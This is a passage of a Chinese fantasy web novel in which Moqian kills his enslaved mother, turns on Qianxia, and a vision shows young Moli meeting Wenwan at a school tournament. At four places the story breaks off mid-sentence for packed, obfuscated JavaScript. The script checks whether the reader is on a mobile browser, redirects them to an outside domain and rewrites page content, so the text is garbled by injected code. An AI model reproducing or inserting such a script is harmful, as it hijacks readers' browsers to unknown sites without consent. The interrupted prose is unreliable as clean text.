顿了顿,他继续道:“我也知道我们此行无法将她救出,可我还是要去。千歌,她是我的母亲。” 见陌浅心意已决,千歌点了点头,再次燃烧心火,在最后一扇铜门出现的时候,她划破了自己的手掌,像上次青鸾那样以血喂食铜门。 烙印在铜门上的花纹如之前那般蠕动起来,却是比上一次还要贪婪,它们疯狂吸食着千歌的鲜血,却迟迟不愿开启铜门。 陌浅在下方注视着脸色逐渐变得苍白的千歌,好几次想要开口,最后却还是忍住。 他望着那扇似乎永不餍足的铜门,攥紧了拳,保持着痛苦的沉默。 不知过了多久,直到千歌耗尽最后一丝灵力,铜门终于发出厚重的声响,有了打开的迹象。 在心火熄灭的前一刻,千歌拽着陌浅从开启了一条缝隙的铜门之中穿过,来到了阴暗潮湿的地宫最深处。 一股浓烈的腥气扑面而来,千歌在陌浅母亲痛苦的嘶吼声中脱力跪倒在地。 陌浅扶住千歌,让她靠着墙壁歇息:“辛苦你了。” 不知为何他的声音里有一股冷冽之意,千歌抬起眼,试图在一片黑暗中看清他的表情。 他似乎并没有她想象中那般悲伤,也不似她以为的那样激动。 他转过身,缓缓走向母亲。 在巨大的蛇尾朝他甩过来的时候,他抬手召出极渊,一剑斩断了蛇尾。 极渊剑身原本透明无形,但在陌浅布阵的加持下,散发出夺目的光辉。 那一瞬间千歌看清了这座肮脏污秽的密牢,也看见了陌浅母亲的模样。 人首蛇身,头上还生着一对角。 她的目光中有一抹未被泯灭的神性,嘴角的獠牙与眉心一抹诡异的红却又衬得她如同来自地狱的恶鬼修罗。 断尾之痛令她彻底发了狂,扭动身躯嘶吼着,从眉心射出一柄柄光刃。 那光刃威力非凡,陌浅的第一反应便是布阵护住千歌,然后再次挥舞着极渊迎战。 此刻正在对战的两人完全不像母子,反倒像极了积怨已深的宿敌,每一道光刃与剑气都为了置对方于死地。 陌浅原本不是她的对手,但极渊剑为他挡去了大部分的伤害,他布阵的速度极快,阵法生生灭灭,令在一旁观战的千歌眼花缭乱。 千歌扶着墙壁站起来,在陌浅为她布下的守护阵法中唤着他的名字。 为什么会这样? 那个被关在这里的女子不是他的母亲么? 他不惜被陌离发现也要来到此地,不就是为了见母亲一面么? 可是事情为什么会变成现在这样? 陌浅听不见千歌的呼唤,母亲的嘶吼声与光刃划破空气的声音交织在他的耳畔,让他险些控制不住自己的情绪。 可他现在必须保持冷静,否则就会同眼前的母亲一样。 失去记忆,失去神智,失去感知,变成任人操控的傀儡。 阵法在他的指间生起,摇曳着光辉奔向他的母亲,在她的身上熄灭,炸出一个又一个血洞。 极渊剑原来是他用来自保的,而他将用自己与曾经的母亲都最擅长的法阵之术杀了她。 最后一道散发着冷光的法阵旋转着击中了她的眉心,她瞬间化为了一滩烂泥,轰的一声倒下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511712|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在向后倒去的那一刻,她猩红的眼眸变回了湛蓝,似乎在生命的最后时刻摆脱了不受控制的癫狂状态,神思恢复清明的她含着泪望了陌浅最后一眼。 与此同时陌浅也似脱了力,他握住极渊剑的手止不住地颤抖,他的血与母亲青色的血交织在一起洒在剑身上,令原本圣洁无暇的极渊显出一股妖冶的杀戮之气。 密牢重回黑暗,唯有保护着千歌的那道法阵散发着微弱的光。 千歌僵硬地站在法阵之中,望着面前血腥的场景瞪大了眼。 片刻之后,陌浅转身持剑走向她。 “你知道陌离为什么要让那铜盘吸食我的血吗?” 他的声音毫无波澜,平静得近乎麻木。 “因为他想利用那个上古法器,让我变得像母亲一样,成为失去神智任他操控的傀儡。” 说到傀儡二字,他的语气略显迟疑。 “不对,与其说是傀儡,不若说是一件绝佳的兵器,一件足以助他扫平四海八荒,杀上九重天宫的兵器。” 千歌被迫接收着这些骇人的信息,目光越发惊恐。 陌浅继续道:“每次陌离打着为我疗伤的旗号将我囚禁在密室中的时候,都是在尝试与那上古神器签订契约,剥夺我最后一抹意识,让我成为没有神智的兵器。” “就像母亲一样。” 他的声音在千歌听来浸染着无尽的哀凉,于是她的目光逐渐由惊恐变为心疼。 她心疼地注视着缓缓向她走来的陌浅:“所以你才要杀了你的母亲,就是为了不让她变成陌离制造杀戮的兵器?” 陌浅扬起唇角笑了笑,那笑意里也尽是苍凉。 “母亲已被炼为神兵,整个东海只有拥有后神血脉的我能够在她尚被镇压于此的时候杀了她。否则,一旦她离开此地,在陌离的控制下大开杀戒,便是九重天上的神君也镇不住她了。” 在说这段话的时候,陌浅抬步迈进他亲自布下的法阵之中,站在千歌面前,抬手为她拭去脸上的泪。 他的神情一如从前那般温柔,望向千歌的目光里也泛着心疼。 下一秒,他将极渊横在了她的脖间:“所以千歌,你愿不愿意帮帮我?” “我不想变成母亲那个样子,不想变成一个失去自我意识的兵器。” “你也知道的不是吗?鵸鵌一族可防厌御凶,你可以帮我恢复清明,让我摆脱陌离的控制。” “你会帮我的,对不对?” 他的声音很轻,带着些委屈,还有一些莫名的蛊惑,让人听着心软。 在他一声又一声的问话中,千歌的心也在一点一点地往下沉。 这是她第一次如此真切地感受到何为心痛。 心脏好似被人高高捧起摔在地上,碎成了几瓣。 她并没有催动心火,可是心火不受控制地在她的胸膛燃起,焚烧着萦绕在她心间的诸如失望、感伤一类的情绪。 终于,在心火燃烧得比以往任何一刻都更加猛烈的时候,她抬起头对上陌浅的眼眸,轻轻地道:“对不起,我不愿意。” 92. 浅歌行 拒绝陌浅的时候,她很清晰地听到了自心脏处传来的碎裂声,然后一股熟悉的气息涌了上来,瞬间淹没了她。 那是属于陌浅的气息。 她抬起手抚上心口,不可置信地望着陌浅:“你在我身上设了阵?” 陌浅的眼中也弥漫起雾蒙蒙的悲伤:“我知晓你会拒绝,其实你一直对我有所隐瞒,不是吗?” “所以呢,你其实也一直都在为今日做着准备。你早就知道鵸鵌一族可防厌御凶,也明知你这种程度的癔症,恐怕只有将我整个人炼化为丹服下才能有效。”千歌眼眶发红,她拼命地不让自己流下泪来:“阿浅,你一直都想让我死。” 陌浅轻轻地摇了摇头,他的声音诚恳,依然如从前那般温柔:“不是的千歌,我一直以来都只是想要活下去。哪怕只有一天也好,我想要真正清醒地活着。” 千歌含着泪苦笑了一下,望着眼前的爱人,突然觉得他无比陌生:“只不过你想要活下去,就不得不拿我做药引子,你是不是要说其实你也很无奈?” 千歌的目光里满是质问,像熊熊燃烧的烈火一样会烫伤人,陌浅微微侧过头去,避开了她的目光。 两个人就这样陷入一阵长久的沉默,最后陌浅叹息着道:“我只是觉得,倘若你心甘情愿帮我,会比现在这样的方式好受很多。” 千歌来不及与他追忆往昔,问一问从前他们相处的那些时光到底算什么,他的剑在她尚未开口时便向她的心脏刺来。 她旋身躲过一剑,却来不及避开第二剑,无形的剑刃划破了她的衣衫,在她的肩膀留下深深的一道伤痕。 方才为了开启铜门,千歌消耗了太多的力量,此刻即便她能够催动心火,也无法燃烧它来御敌。 微弱的火焰只抵挡了片刻,便在陌浅剑气的挥斩下熄灭。 他再次一剑砍在了她的肩头,逼得她惨白着脸踉跄后退。 陌浅银色的发在接连的战斗中变得凌乱,遮住了他的眉眼,这让千歌看不清他的表情。 她不清楚此刻的他是否有哪怕一点点难过。 心碎的感觉是如此真切,简直令她喘不过气。不过她并没有打算束手就擒,即便到了此刻,依然还在一遍又一遍地尝试燃起心火。 陌浅朝她挥出最后一剑,这一剑凌厉无比,没有丝毫犹豫。 铜门便在此时忽然大开,一道更为强势的心火自空中燃起,硬生生接住了陌浅这致命一剑。 随后青鸾自门外飞来,一把扶起千歌,将她挡在了自己身后。 陌浅后撤一步,左手结印祭出杀阵,右手持剑便向青鸾刺去。 青鸾将心火燃到极致,双手泛起金色的光,以刀枪不入的不灭之身硬接神剑极渊。 金色的光芒自她的掌心一路蔓延,很快覆盖了她整个臂膀,心火已经燃到极致,她却丝毫感受不到力量的消耗。 心脏有力地跳动着,源源不断地向她输送着力量,便连她自己都感到诧异,她从未在自己的身体里感受到过如此强大磅礴又极致纯粹的能量。 陌浅布阵的光与青鸾心火的光缠绕在一起,两人每一次出手都伴随着光影的交织,倒显得赏心悦目。 青鸾在明明灭灭的光芒中直视着陌浅的眼睛:“千歌曾经问你能不能教她法阵之术,而你之所以拒绝,便是为了今日能够更加简单地取她性命?” 陌浅的眼中升腾起一些愤怒:“你窥探我的记忆?” 青鸾忍不住冷笑:“从得知千歌来自鵸鵌一族起,你便开始筹谋着拿她做药引,屡屡以退为进,欲擒故纵,哄骗着她留在东海。你自己使尽龌龊手段,现在在这里愤怒什么?” 说着,她指尖的心火更盛,红色的火光与她掌心金色的光芒交织在一起迸发出更为强大的力量,她以掌为刃劈向陌浅:“说啊,你在愤怒什么?你凭什么愤怒!” 心火以愤怒为养料,恣意地燃烧着,连成一片扑向陌浅。 陌浅不得不转攻为守,蓝色的光芒如水一般在他的周遭流淌,为他布下一道守护之阵。 他布阵的速度的确很快,几乎就在一瞬之间,阵法的生与灭全在他念头的起与落。 他祭出了生灭之阵。 细碎的光芒从他的指间溢出,连成一条条细而锋利的星线,以极快的速度排列组合,瞬间蔓延了整片空间。 好像星子从天上滑落,原本细碎的光燃成了火焰,庞大的法阵让这座密牢亮了一瞬,然后变为了毫无生机的灰色。 陌浅就踩在阵眼之上,宽大的衣袍随着气流的涌动而猎猎作响,他的眼中闪过杀意,然后在星线的光彻底变得黯淡之时,他启唇轻轻地道了一句杀。 位于法阵之中的青鸾与千歌均觉心脏猛然一紧,随后世界变得安静,于一片死寂中,法阵迸发出强大的杀意。 那杀意如同死气蔓延,足以掠夺阵中一切生机,似乎连时空都能被它无情绞灭。 青鸾在关键时刻再次划破自己的掌心,以血祭心火。 火焰原本在杀阵中凝固,丧失了生机变得摇摇欲坠,但在青鸾的鲜血洒落其中后,它瞬间活了过来,如一朵朵彼岸花绽放,与阵中的死气相抗衡。 原来这便是生灭大阵中死阵的力量。 她不由得想起了帝宣。 她最后一次见到帝宣的时候,他便在改良这生灭之阵。 “此阵如同阴阳双阵,虽则一念生则为生阵,一念死即为死阵,但无论生阵还是死阵都无法发挥出此阵最大的威力。一阴一阳,一生一死,虽则平衡,生生不息,但始终无法将力量发挥到极致。” 彼时她正在他祭出的这个大阵中玩耍,不理解一向秉持中庸之道的帝宣为何突然想要放弃平衡,转而追求极致的力量:“现在这样子不是挺好的吗?同一个阵法具有两种不同的功能。若是追求极致,恐怕就要放弃其中一面,用它的力量来支撑另外一面,这样的话生灭之阵便不能叫做生灭之阵了。” 帝宣认真地听她说着,听着听着眼前一亮。 “是了,是了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599400|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放弃其中一面,让生灭之阵变成最为纯粹的生之阵,如此简单的道理我怎么没有想到?”他在原地踱步思索良久后,冲进阵中抱起青鸾,把她举起来转了好几个圈儿:“鸾儿,真多亏了你,你说的这个法子很可行。” “啊?你还真是想放弃生灭阵法中死阵的功能呀?”青鸾虽然仍旧不理解帝宣为何要这样做,但还是为他感到高兴:“不过你若真能研究出最为纯粹的生之阵,那么这个阵法一定会变得前所未有的强大,那时你就是天上地下第一人了!” 帝宣笑着摇了摇头,将青鸾轻轻放下,刮了刮她的鼻子:“傻鸾儿,我可不是为了变成什么天上地下第一人。” 青鸾注视着他,很认真地道:“但是在我的心目当中,你就是天上地下第一人,是最最厉害的人。” 帝宣同样专注地望着青鸾,语气认真地道:“在我的心目当中,鸾儿也是天底下最最聪明的人。” 他总是这样告诉她。 你是我所见过的最聪明的姑娘,学什么都一点即通。 有朝一日你一定会变得很强大,强大到可以自由地翱翔于天地之间,去领略四海八荒的奇山异水,映在你眼中的世界不会再拘泥于一座小小的青要山。 回忆着帝宣曾对她说过的每一句话,青鸾扬起嘴唇笑了笑。 那时候的她怎么就没有听出来帝宣对她的暗示。 后来帝骁愈加严厉地约束着她,不许她离开青要山半步,外人也不得随意踏入青要山中。 帝宣再也没有来找过她。 他突然就消失了,四海八荒无人知晓他的行踪,天上地下好像从来就没有过这样一号人物。 但是青鸾知道她一定会去寻他,待她还完帝骁的养育照拂之恩,她便会去寻他,哪怕穷天极地,哪怕碧落黄泉。 原本与陌浅相抗衡的心火骤然大盛,这是一道未将力量发挥到极致的生灭之阵,青鸾的心火在短暂蓄力之后猛然绽开,将整个阵法碾碎。 便在心火要将陌浅整个吞没的时候,青鸾收了手。 然后她便看见陌浅持剑站在火光中,闭上眼睛流下了一滴泪。 再睁眼时,他的眼睛变为了猩红色,额间现出一抹冰冷的光。 这一切都昭示着,他还是他,但他已经不再属于他自己了。 机械地扭了扭脖子,他无视眼前的二人,迈步朝门外走去。 “是陌离,一定是他感应到了这里发生的事情,所以用那个上古法器控制住阿浅。”千歌扑上来想要唤住陌浅,却被他挥出的剑气弹开。 青鸾飞身接住千歌,顺势燃起心火为她疗伤:“一旦被那上古法器控制住,任何人都无法再唤醒他,只能靠他自己的意志。” 千歌却还是挣扎着想要留住陌浅。 其实她很清楚,这些年来陌离一直在尝试着利用陌浅的鲜血与那法器结契,一旦结契成功,陌浅便会如他母亲方才那般,彻底沦为失去自我意识的傀儡。 成为陌离屠杀的兵器。 93. 浅歌行 青鸾不断地安抚着千歌,这才让她慢慢平静下来:“我方才去探了海上仙宫那间陌离与法器结契的密室,并且将这里发生的一切都传讯给了帝骁。陌离之所以要与那法器结契,甚至不惜炼化自己的妻儿成为兵器,是为了杀上九重天宫夺取天君之位。帝骁得到这个消息后很快就会赶来,等他来到东海擒了陌离,兴许陌浅还有救。” 千歌转过头,含着泪望着青鸾:“海上仙宫一定被陌离布了禁制,你如何能够传讯出去?” 青鸾取出帝骁交给她的令牌:“这块令牌上被帝骁注入了神力,可无视一切禁制,你放心吧。” 千歌这才勉强放下心,喘着气望向陌浅离开的方向。 青鸾问她:“你现在感觉如何?” 千歌点了点头,表示自己没事:“我感觉好多了,我们快离开这里,我想去看看外面的情况。” 青鸾却皱起眉道:“想要出去恐怕没有那么容易。” 既然陌离已经出手控制陌浅,那事情便不会这般简单。 陌离为了今天已经筹备许久,他的计划一旦启动,那么一定留有后手。 果然,便在青鸾与千歌携手踏出密牢,往地宫外面走时,原本安安静静躺在地上的铜棺突然发出异动。 成百上千座铜棺同时颤动起来,棺中之人齐齐跃起,掀开棺盖朝二人扑来。 他们其实都已死去多时,然而肉身不腐,每个人的眉心都闪烁着诡异的红。 “小心!他们都被炼成了神兵!”青鸾一把拉过千歌,将她牢牢护在身侧。 千歌不可思议地摇头:“陌离这老东西疯了不成!” 这些被炼化成了神兵的人已经算不得人了,他们的皮肤坚硬如铁,因为早已过世而没有痛觉,所以青鸾二人对他们的攻击几乎无效。 青鸾带着千歌左避右闪,最后喘息着躲在地宫一角。 望着潮水般向她们涌来的神兵,两人皆知这样下去不是办法,她们迟早会被耗死在这里。 对视了一眼后,两个人的掌心不约而同燃起心火。 她们都在瞬间将体内的心火燃烧到极致。 “那就烧吧。” 两人合力燃起的心火比想象中还要强大。 火焰如云如雾如在一阵狂风的袭卷下铺开,瞬间铺满了整座地宫,将所有神兵都控制在了原地。 两道心火交织在一起,催生着彼此,燃烧出一股生生不息的力量。 那力量甚至反哺着青鸾二人,令她们不断刷新着自己的极限。 心脏在即将爆炸的边缘徘徊,却也蕴含着比以往任何时候都要强大的能量。 不断吞吐着周遭事物的火焰仿佛活了过来,它撕裂了那些神兵之后似乎还不满足,于是继续撕裂着这一座地宫,而后甚至撕裂了青鸾她们所在的这片时空。 青鸾能够明显感觉到时空正在变幻扭曲,如同之前瑾瑜带着她们漫步时空长河一般,这处空间开始折射出千年前的一些事物。 “千歌,你先收了心火,我来稳住它。” 青鸾让千歌将心火熄灭,自己则释放出精神游丝,与心火一起缠绕着稳定住空间中不断流淌变化着的那些画面。 千歌从来没有见过这种场景,生怕开口说话会惊动了它们,却又忍不住压低了声音问青鸾:“这些是什么?” “如果我没有猜错,我们方才的心火扭曲了这一片时空,从那些神兵身上重现了陌离的执念。”青鸾逐渐将那些变幻着的画面稳定下来,对千歌道:“这些画面便是千年之前,陌离为何会变成今天这个模样的执念。” 千歌震惊地扭头望去。 映入眼帘的是大片大片的樱花林。 粉色的樱花被风牵着在空中打了个圈儿,晃晃悠悠地穿过亭台楼阁,轻轻落在了高台之上少年的肩膀。 此时阳光正好,少年笑意盎然。 他单手持剑,目光如炬地注视着对面的人,将下巴轻轻一扬:“你输了。” 此言一出引起台下无数尖叫,对手恼怒地冷哼一声,灰溜溜地走下台去。 “不用说,这届新生赛肯定是陌离拿第一。” “话别说太早,这还只是单人赛,后面还有双人赛呢。双人赛比的是作战伙伴之间的默契,我看陌离未必能行。” “不管怎么说,他可是有心火,单凭这个他就可以横着走了,管你单人赛还是双人赛。” “照你这么说,他有心火,他就能一打二了?” “我觉得他就是能一打二!” 底下的人围绕着陌离到底能不能一打二这个话题展开了激烈的辩论,台上的陌离倒是浑然不知,他举起手中的剑,专注地望着他的最后一个对手。 只要战胜了这最后一个对手,他便是单人赛的第一名。 第一名可以获得丰厚的奖金,那时他就可以拿着银两回家,把年久失修的墙垣好好修缮一番,再带爷爷来城里最好的酒楼吃一顿。 想到这里,他不禁扬唇一笑,先发制人向对手挥去燃着心火的一剑。 他此时的这个笑容落在底下观众眼里称得上是放荡不羁,落在台上他的对手眼里那便是蓄意挑衅。 尤其一上来便使出心火,显然是要给他一个下马威。 于是他也全力回击,手中的刀挥舞起来似带有雷霆之势,看起来也十分吓人。 心火与陌离手中的剑共生,风一吹便势头更猛,与空中的樱花一起旋转着接住了对方劈过来时还带着火花闪电的刀。 台下的人倒吸一口凉气发出一声惊叹。 能挺进决赛的新生确实都有两把刷子。 可惜还是那句话。 陌离有心火。 有心火他就可以横着走。 风越吹越大,火越燃越烈,陌离越战越勇。 直到心火被陌离借着风势燃到了三丈高,火焰在空中肆意地张扬着,大有吞没眼前一切敌人的架势,他的对手终于坚持不住弃刀认输。 台下爆发出一阵喝彩,还有经久不息的鼓掌声。 陌离在一片喝彩声中收剑,心火随着他收剑的动作乖顺地熄灭,火焰在他扎得高高的马尾上绕了一圈儿,然后拂过他的脸颊携来一片樱花。 又激起台下一阵欢呼。 甚至还有一些自发组成的后援团队整齐大声地呼喊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608225|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陌离的名字。 少年的笑意比方才丈高的火焰还要张扬,他在一片沸腾的呐喊声中向台下望去,目光掠过台下众人的脸,在望见人群角落里一个穿着蓝色衣服的姑娘时,不自觉地滞了一滞。 这微微的一滞便令二人隔着人山人海对视。 起初陌离也不明白为何在望见她时会不由自主地停下目光,可是在与她对视片刻之后他便知道是为什么了。 这姑娘生得实在好看。 尤其那一双蓝色的眼睛,像是蕴着无尽星光的大海,缱绻着令人心甘情愿陷入其中的温柔。 他隔着人群注视着她的眼睛,在她不好意思地移开目光,红着脸转身离开看台后,他才扭过头来几步跃下高台。 少年意气风发,将双手枕在脑后,越过为他欢呼呐喊的人群,闲庭信步往学院外面的樱花林去。 这片花林是他日常练剑的地方,他之所以选择在这个地方练剑,原因有两个。 第一,学院里有专门提供给学员练剑的地方,人们平常不大会到这个地方来,因此这片花林人迹罕至,难得清静。 第二,这里在开花的时候极美。 他喜欢世上一切美好的事物。 也正因如此,即便在很久很久以后,在那些美好的回忆都已褪色之后,他每每想起与温宛在樱花林中相遇的那一刻,都仍旧会有一瞬的怔神。 穿着蓝色衣服的姑娘从花林中走出,粉色的樱花落得她满肩都是,她一边轻轻地将花瓣拂落,一边歪着脑袋注视着陌离,小声地问他:“请问,明天的双人赛我可以和你组队吗?” 陌离停下手中的动作转头望她:“你擅长什么?” 其实他可以不问她这些,直接答应组队,毕竟他有心火,诚如那些观战的同学所言,他一打二根本不是问题。 双人赛带谁不是带。 带这样一个漂亮的姑娘赢得胜利岂不是更加快哉。 可是此刻看着眼前这个柔柔弱弱的姑娘,他突然就心生好奇,忍不住想要了解她。 她擅长什么? 姑娘的声音还是很小,语气却很坚定:“我擅长布阵。” 陌离笑了:“擅长布阵的人有很多,你有什么过人之处?” 姑娘咬了咬唇:“我布阵速度很快。” 陌离问:“有多快?” 姑娘答:“快过你出剑的速度。” 陌离的笑容顿了顿,随即他扬起一个更加灿烂的笑:“好啊,我们组队。我叫陌离,你叫什么?” 姑娘也笑了,笑意如林中樱花绽放,委实夺人眼目:“你好呀,我叫温宛。” 后来陌离的好友聿风在听说他放弃了自己转而跟一个漂亮姑娘组队的时候,一边在食堂喷饭一边愤怒咆哮:“不是,是我先预定的啊?是我先预定的组队名额啊!这个见色忘义的人,陌离你见色忘义啊!” 时空之外,地宫之中,注视着这一幕的青鸾与千歌忍不住面面相觑,表情比那位正在喷饭的好友还要震惊。 不是? 那个意气风发、惊才绝艳的少年…… 他是阴暗扭曲、无耻变态的陌离??? 94. 浅歌行 “真不知道陌离经历了什么才会变成现在这个样子……”千歌看得目瞪口呆。 青鸾同样瞠目结舌:“再往后看看就知道了……” 如今两人看到的这些时空碎片已经完全被青鸾的心火控制住了,眼前的画面随着青鸾的心意而转变。 她加快了画面中时间流逝的速度。 转眼便来到了第二天。 学院双人赛如期而至,陌离与温宛一起在旁人或嫉妒或艳羡的目光中登上了比赛的高台。 比赛开始时,陌离上前一步将温宛护在身后,拔剑出鞘独自一人迎敌。 如昨日一般,他一上场便燃起心火,对方压根还没有反应过来,便被他强势的剑气逼得连连后退,一不小心直接退到了台下去。 看台发出一片唏嘘。 聿风在看台上眼含热泪,扭过头锲而不舍地向旁边的人控诉陌离的恶劣行径:“看到了没?这小子明明答应好了跟我组队,就为了在漂亮姑娘面前耍帅,转头就把我抛弃了呜呜呜……” 旁边的同伴拍拍他的肩膀安慰他:“不是我说,其实输给这个漂亮姑娘你也不亏。” 另一个同伴拍了拍他另一边肩膀:“至少这个姑娘对我们的眼睛很友好,你看人家站在陌离身后娇娇柔柔的样子多惹人怜爱,你再看看你,你娇娇滴滴地站陌离身后是什么画面我们想都不敢想。” 被陌离抛弃了的聿风再次被同伴们伤害了一遍,他从座位上暴起:“你们是人吗?是人吗是人吗是人吗!” 几个人打闹着从看台跃下,高台上的陌离与温宛则迎来了他们的下一组对手。 本届新生赛的规则是擂台制,当日守擂成功超过三个回合则晋升半决赛,半决赛上同样成功守擂三个回合的则可晋升决赛。 至于决赛的规则那就更加简单粗暴了,最后入围的几个小组在擂台上进行混战,最后留下来的那个人将会为自己的组合赢得胜利。 学院新生赛一共有三种规则,这三种规则会在赛前随机选择使用,已经在各届新生赛中延续了千百年,从来没有人提出过异议。 可是在今年的新生赛上,第一次有人对擂台制的比赛规则提出质疑。 原因无他,这规则简直就是为了陌离量身定制的。 原本人们以为拥有心火的陌离可以一打二,可是直到双人赛开始的时候他们才知道,在心火的加持下,陌离完全可以一打五! 他就像个不败的战神一样守在擂台上,用那个被他狠狠抛弃了的友人的话来说,狗路过擂台都要被踹几脚。 因为初赛他的表现实在是太过凶残,导致半决赛上有的倒霉小组碰到他后直接选择弃权。 这还有什么好打的? 连着两天陌离都以绝对的实力碾压对面的小组,温宛甚至从头到尾都没出过手! 聿风第无数次在看台上哀嚎:“本来能够躺赢到决赛的人是我啊!是我啊是我啊……” 坐在他旁边的同伴嫌弃地往旁边挪了挪屁股,虽然觉得吵闹,却也不舍得离开。 看台内场的票可是他们好不容易才抢到的,这个区域的视角极好,可以近距离观看陌离以心火御敌的细节。 要知道经过前两轮的厮杀,所有闯入决赛的人都看出来了他们夺冠路上最大的对手是谁。 于是决赛前一晚五个小组聚在一起商量了一夜,一致决定先团结起来对付陌离,无论如何先把陌离打下擂台再说。 这便让第二日的比赛充满了悬念,看台内场的票也就变得异常的难抢。 陌离虽然很强,强到可以一打五,但在决赛的擂台上,他要面临的可是一打十的局面。 能够杀入决赛的新生个个都是传说中的天才,一个打他们十个,别说是同为新生的陌离了,即便是学院的老师来了也同样够呛。 决赛那日几乎大半个学院的师生都来到现场观战,此战无论陌离是胜是败,他的对手们都一定会逼得他使出所有手段,场面一定精彩! 比赛的钟声敲响后,果如众人所知道的那般,五个小组同时跃起,十个人都在第一时间使出杀招向陌离攻去。 陌离反应很快,在他们跃起的瞬间便燃起心火,而心火比所有人想象的都要强悍,不费吹灰之力便将十个人的杀招尽数拦下。 陌离轻笑了一声,面对十个人的强攻不退反进,拔剑跃起,朝为首之人杀去。 那十人倒也猜到了陌离的心火不是这么容易便能对付的,一击不成当即后撤,然后各自走位,摆出一个阵法,将他们的内力全都输送给为首之人。 那为首之人也的确很有几分本事,吸收了其余几人的内力后,朝着陌离蓄力扔出长枪。 红缨枪在空中擦出火星,与陌离手中长剑相撞,这一番硬碰硬竟逼得陌离往后退了几步。 见到计划成功,高台上的几人都不由自主露出笑来。 他们早在双人赛之前便开始研究陌离,不仅研究他的心火打法,而且还调查他的脾气性格,知道他是个受不得激一点就着的性子,所以才在一开始佯装围攻,诱他轻敌冒进后再集众人之力一击制敌。 一力降十会,只要在一开始就逼得他不得不全力抵抗他们的进攻,完全没有余力催动心火,那他们就有机会在合力之下将他击出擂台。 看台上密密麻麻坐满了人,却无一人发出声音。 大家都屏息凝神注意着擂台上发生的一切,在看见陌离似乎渐渐抵挡不住那十个人的合力一击,持剑的手开始微微颤抖起来的时候,所有人都倒吸了一口凉气。 就在众人以为这个拥有心火的天之骄子就要在对面小组的合击之下无缘冠军之时,一道浅蓝色的阵法无声无息地笼罩在了陌离身上。 与此同时擂台之上,站在一旁无人问津的温宛微启双唇,轻轻地道了一声:“护。” 法阵瞬间流光溢彩,为陌离卸去了大半的力。 陌离喘了口气,诧异地转头望向温宛,但见她单手结印,再次轻启双唇道:“破!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623149|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >笼罩在陌离身上的守护阵法霎时之间变得极具侵略性,方才还温柔地包裹着陌离,下一秒便覆盖住了整个擂台,为陌离原本被压制住了无法施展的心火吹来一阵风,好风借力直上云霄,陌离的心火瞬间绽放得比院外的樱花林还要绚烂。 擂台上的风光不可谓不美,只是苦了对面的十个人,四散开来躲避心火,那叫一个手忙脚乱。 陌离望着温宛,眼中倒映着心火与法阵交织的光,闪过一瞬的惊艳。 “专心对敌。”温宛再次结印,说话间布下一个法阵,替陌离挡去对方的偷袭。 对面的人很快喘过气来,意识到状况不对,纷纷开始攻向陌离小组中的薄弱环节。 他们不再围攻陌离,而是转头对温宛出招,却没有料到她布阵的速度简直惊为天人,眨眼之间便将他们轮番使出的招数尽数瓦解。 温宛的加入给对手带来极大的麻烦,这令陌离松了口气,让他可以全力对敌。 扭了扭脖子,他将拳头攥得咔嚓作响,反手一剑将准备再次偷袭他的人打下擂台,同时向前挥出一拳,拳风猎猎,逼得那人狼狈后退。 台上众人皆知这样拖下去不是办法,他们很快便会被陌离逐个击破,为今之计只有先让温宛出局,然后继续合力对抗陌离,如此才有几分胜算。 于是他们分出几人缠住陌离,另外的人依旧招式凌厉地朝温宛攻去。 陌离往温宛的方向撤了几步,腾出手来想要护她,却见她随手扔出一个小型法阵,那法阵附着在一人身上,瞬间生出无数藤蔓,将他在空中甩了几圈,然后用力地朝擂台下面砸去。 伴随着那人惊恐的呐喊声,温宛抬起头望向陌离,目光沉静:“不用分心保护我,你全力对敌就是。” 陌离挑了挑眉,不再分心看她,而是专心御敌。 也就是在这个时候,他才真正体会到了温宛方才说的全力对敌四个字的含金量。 温宛的法阵与他如影随形,总是会精准地替他挡去所有伤害,他完全不需要防御,也不需要考虑对手会如何出招。 只需要燃烧心火,全力出手就好。 他要做的,便是将台上的对手全都打下擂台。 于是众人便看见了学院有史以来最绚烂夺目的一场擂台赛。 